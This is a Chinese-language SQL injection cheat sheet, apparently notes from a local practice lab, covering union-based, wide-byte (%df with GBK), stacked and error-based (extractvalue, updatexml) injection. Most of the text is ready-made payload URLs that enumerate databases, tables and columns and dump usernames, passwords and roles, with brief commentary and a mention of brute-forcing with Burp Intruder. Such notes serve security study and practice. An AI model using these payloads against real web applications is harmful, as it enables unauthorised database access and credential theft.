SQL注入小结
最重要的是数据库的操作
①union select
union select 1, group_concat(table_name),3 from information_schema.tables where table_schema='库名'
②select
select table_name from information_schema.tables where table_schema='库名'
01——数字型
http://localhost:32774/sqli/01.php?id=1’
发现有报错
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’ LIMIT 0,1’ at line 1
猜测语句
WHERE id=$id LIMIT 0,1
验证一下
爆库
urlhttp://localhost:32774/sqli/01.php?id=1 union select 1,2,group_concat(schema_name) from information_schema.schemata --+
爆表
http://localhost:32774/sqli/01.php?id=1 union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database()) --+
爆列
http://localhost:32774/sqli/01.php?id=1%20union%20select%201,2,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema%20=database()%20and%20table_name=%27users%27)%20--+
爆数据
http://localhost:32774/sqli/01.php?id=1 union select 1,2,(select group_concat(concat(role,0x7e,username,0x3A,password,0x7e)) fromusers)--+
02-字符型注入
主要有单引号闭合?id=1’)#,双引号闭合?id=1")#
http://localhost:32774/sqli/02.php?id=1’ or ‘1=2–’
报错
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’1’ or ’1=2–’’ LIMIT 0,1’ at line 1
看源码,发现SET NAMES gbk猜测宽字节注入
尝试
http://localhost:32774/sqli/02.php?id=1%df' and 1=2 union select 1,2,3 --+
爆库
http://localhost:32774/sqli/02.php?id=1%df' and 1=2 union select 1,2,group_concat(schema_name) from information_schema.schemata --+
爆表
http://localhost:32774/sqli/02.php?id=1%df' and 1=2 union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database()) --+
爆数据
http://localhost:32774/sqli/02.php?id=1%df' and 1=2 union select 1,2,(select group_concat(concat(role,0x7e,username,0x3A,password,0x7e)) from users) --+
这里除了前面通过宽字节来让mysql以为是个汉字绕过检查其他和第一
题一样
03——堆叠注入
Stacked injections(堆叠注入)从名词的含义就可以看到应该是一堆 sql 语句(多条)一起执行。而在真实的运用中也是这样的, 我们知道在 mysql 中, 主要是命令行中, 每一条语句结尾加; 表示语句结束。这样我们就想到了是不是可以多句一起使用。这个叫做 stacked injection。
通常我们在发现回显中出现一串正则过滤表达式以后,发现大部分SQL注入所需要的关键词无法使用,这时候就要寻找堆叠注入的存在。
通常堆叠注入有一种比较有特征的回显array(2){[0]=>string(1)“1”}这样的结构组合
array(2) {
[0]=>
string(1) "1"
[1]=>
string(7) "hahahah"
}
查找库名
1';show databases;#
查找表名
1';show tables;#
查列名
0';show columns from *table*;#
04——报错注入
①extractvalue
and extractvalue(null,concat(0x7e,(select column_name from information_schema.columns where table_schema='security'limit 0,1),0x7e))--+
②updatexml
③使用burp的intruder模块进行大量数据的爆破